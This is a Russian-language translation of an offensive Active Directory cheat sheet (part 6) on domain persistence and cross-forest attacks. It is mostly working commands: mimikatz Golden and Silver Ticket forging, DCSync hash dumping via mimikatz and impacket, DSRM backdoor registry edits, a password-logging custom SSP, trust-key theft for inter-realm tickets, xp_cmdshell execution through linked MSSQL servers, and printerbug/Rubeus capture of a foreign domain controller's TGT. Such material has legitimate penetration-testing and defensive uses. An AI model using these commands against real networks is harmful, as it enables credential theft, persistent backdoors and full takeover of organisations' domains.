Pentesting Active Directory: постоянство домена и межлесные атаки (PART 6)
Постоянство домена
Golden Ticket Атака
#Выполните mimikatz на DC в качестве DA, чтобы получить хэш krbtgt: Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName> #На любой машине: Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt: <HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
#DCsync с помощью mimikatz (вам нужны права DA или привилегии DS-Replication-Get-Changes и DS-Replication-Get-Changes-All): Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"' #DCsync с использованием secretsdump.py из impacket с NTLM-аутентификацией secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm #DCsync с использованием secretsdump.py из impacket с аутентификацией Kerberos secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm
Silver Ticket Атака
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service: <ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'
DSRM Абуз
Каждый DC имеет локальную учетную запись администратора, эта учетная запись имеет пароль DSRM, который является SafeBackupPassword. Мы можем получить его и затем pth его NTLM хэш, чтобы получить доступ локального администратора к DC!
#Сбросьте пароль DSRM (нужны права DA): Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name> #Это локальная учетная запись, поэтому мы можем PTH и аутентифицироваться! #Нам нужно изменить поведение учетной записи DSRM перед pth: #Подключение к DC: Enter-PSSession -ComputerName <DC's Name> #Изменение поведения входа в систему в реестре: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose #Если свойство уже существует: Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose
Затем просто PTH, чтобы получить доступ локального администратора на DC!
Пользовательский SSP
Мы можем создать свой собственный SSP, добавив пользовательскую dll, например mimilib.dll от mimikatz, которая будет отслеживать и перехватывать пароли пользователей, вошедших в систему!
#Получите текущий пакет безопасности: $packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages' #Добавить mimilib: $packages += "mimilib" #Измените имя новых пакетов Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages #АЛЬТЕРНАТИВА: Invoke-Mimikatz -Command '"misc::memssp"'
Теперь все входы в систему на DC регистрируются в -> C:\Windows\System32\kiwissp.log
Лесные атаки
Trust Tickets
Если у нас есть права администратора домена в домене, который имеет двунаправленные доверительные отношения с другим лесом, мы можем получить ключ доверия и подделать свой собственный межлесной TGT.
Внимание: Доступ, который мы будем иметь, будет ограничен тем, что наша учетная запись DA настроена на другой лес!
#Обнаружить ключ доверия Invoke-Mimikatz -Command '"lsadump::trust /patch"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"' #Создайте межреальную ТГТ, используя атаку "Золотой билет". Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid: <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket: <PathToSaveTheGoldenTicket>"'
Затем запросите TGS во внешний Лес для любого сервиса, использующего межреальную TGT, и получите доступ к ресурсу!
.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt
Абуз MSSQL Серверов
- Перечисление экземпляров MSSQL:
Get-SQLInstanceDomain
- Проверьте доступность в качестве текущего пользователя:
Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
- Получите информацию об экземпляре:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
- Использование ссылок на базы данных SQL
Связь баз данных позволяет SQL Server получить доступ к другим ресурсам, например, к другим SQL Server. Если у нас есть два связанных SQL-сервера, мы можем выполнять на них хранимые процедуры. Ссылки на базы данных также работают в Forest Trust!
Проверьте наличие существующих ссылок на базы данных:
#Проверьте наличие существующих ссылок на базы данных: #PowerUpSQL: Get-SQLServerLink -Instance <SPN> -Verbose #MSSQL Query: select * from master..sysservers
Затем мы можем использовать запросы для перечисления других ссылок из связанной базы данных:
#В ручную: select * from openquery("LinkedDatabase", 'select * from master..sysservers') #PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests): Get-SQLServerLinkCrawl -Instance <SPN> -Verbose #Затем мы можем выполнить команду на машине, на которой запущена служба SQL, используя xp_cmdshell # Или, если он отключен, включите его: EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"
Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"
Breaking Forest Trusts
Если у нас есть двунаправленное доверие с внешним лесом и нам удастся скомпрометировать машину в локальном лесу, на которой включено неограниченное делегирование (DC имеют такую возможность по умолчанию), мы можем использовать printerbug, чтобы заставить DC корневого домена внешнего леса аутентифицироваться у нас. Затем мы можем перехватить его TGT, внедрить его в память и DCsync сбросить его хэши, предоставив нам полный доступ ко всему лесу.
#Начало мониторинга для ТГТ с rubeus: Rubeus.exe monitor /interval:5 /filteruser:target-dc$ #Выполните printerbug, чтобы запустить принудительную аутентификацию целевого DC на нашей машине SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local #Получите base64-захваченный TGT от Rubeus и внедрите его в память: Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> #Дамп хэшей целевого домена с помощью mimikatz: lsadump::dcsync /domain:external.forest.local /all
Оригинальная статья | Перевод: THREAD